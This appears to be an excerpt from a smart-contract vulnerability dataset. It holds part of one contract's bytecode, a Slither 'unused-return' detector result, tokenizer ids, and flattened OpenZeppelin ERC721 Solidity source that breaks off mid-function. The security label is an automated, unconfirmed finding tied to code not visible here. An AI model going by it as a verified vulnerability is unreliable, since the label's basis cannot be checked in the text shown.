5060200194505050565b600080600080600080600060e0888a031215612607578283fd5b612610886123ef565b9650602088013595506040880135945061262c60608901612406565b93506080880135925060a0880135915061264860c089016123ef565b905092959891949750929550565b600060208284031215612667578081fd5b813561081881612ad5565b600060208284031215612683578081fd5b815161081881612ad5565b6000806000606084860312156126a2578081fd5b8335925061248e602085016123ef565b6000602082840312156126c3578081fd5b5035919050565b6000602082840312156126db578081fd5b5051919050565b600080604083850312156126f4578182fd5b8235915061245a602084016123ef565b60008060408385031215612716578182fd5b82359150602083013567ffffffffffffffff80821115612734578283fd5b818501915085601f830112612747578283fd5b81358181111561275957612759612abf565b604051601f8201601f19908116603f0116810190838211818310171561278157612781612abf565b81604052828152886020848701011115612799578586fd5b82602086016020830137856020848301015280955050505050509250929050565b600081518084526127d2816020860160208601612a27565b601f01601f19169290920160200192915050565b600082516127f8818460208701612a27565b9190910192915050565b6001600160a01b0397881681529590961660208601526040850193909352606084019190915260ff16608083015260a082015260c081019190915260e00190565b6001600160a01b0385168152602081018490526060604082018190528101829052600082846080840137818301608090810191909152601f909201601f191601019392505050565b6020808252825182820181905260009190848201906040850190845b818110156128cc5783516001600160a01b0316835292840192918401916001016128a7565b50909695505050505050565b60006020825261081860208301846127ba565b60208082526019908201527f416e7973776170563345524332303a20464f5242494444454e00000000000000604082015260600190565b6020808252601c908201527f416e7973776170563345524332303a2061646472657373283078302900000000604082015260600190565b6020808252602f908201527f416e7973776170563345524332303a207472616e7366657220616d6f756e742060408201526e657863656564732062616c616e636560881b606082015260800190565b60208082526019908201527f416e7973776170563445524332303a20464f5242494444454e00000000000000604082015260600190565b60008382526040602083015261080360408301846127ba565b60008219821115612a0b57612a0b612aa9565b500190565b600082821015612a2257612a22612aa9565b500390565b60005b83811015612a42578181015183820152602001612a2a565b83811115611fab5750506000910152565b600281046001821680612a6757607f821691505b60208210811415612a8857634e487b7160e01b600052602260045260246000fd5b50919050565b6000600019821415612aa257612aa2612aa9565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b8015158114612ae357600080fd5b5056feddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925a2646970667358221220f64f9fc967c675fd62cf6f82c43655cce2b12a89d736911f366001b9e54988f164736f6c63430008020033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2629, 29292, 2581, 2063, 14142, 2581, 9818, 2487, 7875, 2692, 3676, 22025, 6679, 10790, 11329, 22907, 2692, 2620, 2549, 9818, 21619, 11329, 2094, 16086, 2629, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 23533, 29378, 1012, 4012, 2006, 25682, 1011, 5757, 1011, 6185, 1008, 1013, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 14246, 2140, 1011, 1017, 1012, 1014, 1011, 2030, 1011, 2101, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1022, 1012, 1016, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 8278, 1997, 1996, 9413, 2278, 11387, 3115, 2004, 4225, 1999, 1996, 1041, 11514, 1012, 1008, 1013, 8278, 29464, 11890, 11387, 1063, 3853, 21948, 6279, 22086, 1006, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 3853, 26066, 2015, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,815
0x95c02ddd8a75d3095010581fd22246cdf678d94f
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } /** * @dev Standard math utilities missing in the Solidity language. */ library Math { /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /** * @dev Returns the average of two numbers. The result is rounded towards * zero. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow. return (a & b) + (a ^ b) / 2; } /** * @dev Returns the ceiling of the division of two numbers. * * This differs from standard division with `/` in that it rounds up instead * of rounding down. */ function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b - 1) / b can overflow on addition, so we distribute. return a / b + (a % b == 0 ? 0 : 1); } } /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function 